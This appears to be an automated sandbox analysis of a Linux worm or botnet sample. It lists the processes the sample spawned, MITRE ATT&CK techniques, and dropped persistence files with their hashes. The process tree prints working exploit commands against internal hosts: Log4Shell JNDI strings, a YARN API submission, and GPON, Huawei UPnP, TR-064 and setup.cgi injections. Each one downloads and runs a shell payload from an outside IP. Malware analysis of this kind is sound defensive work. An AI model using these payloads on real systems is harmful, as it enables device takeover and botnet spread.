                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.120:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1391
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.122/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1493
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.132:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1502
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.132/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1503
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.125/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1507
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.125:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1506
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.125:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.126/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1489
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.123/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1354
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.124:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1357
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.121:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1331
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.123/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1383
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.129:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1514
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.126/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1425
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.130:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1516

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1222

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1222.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Adversary-in-the-Middle

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1557

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Bash History

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1552.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Network Service Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1046

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Adversary-in-the-Middle

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1557

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Protocol Tunneling

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1572

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ntpsync
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /etc/init.d/ntpsync
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 152B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 41e0a36c82a0e5f625bae8d8104eba6bf9113a5d37db5b772a0e1d476d5c3a71
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /etc/rc.local
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 149B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 755f2077e563c12a8a37585826a6e9432f33578711ae13eaeeae92372e061e4a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ntpsync.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /etc/systemd/system/ntpsync.service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 312B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 58dce88a9a208d8c038d262284b2f4328086dec1389075c797003b6aca435127
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    .p_lock
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/.p_lock
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 b9bbb6db52a22a63ff69bc24cde5de75ae8ec066c46dde985108871d0635336d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    .wd.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/.wd.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 654B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 3707239bf601b5859cd820f10565b094d622b2b4d2fc3c1bba72b126d7772eeb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

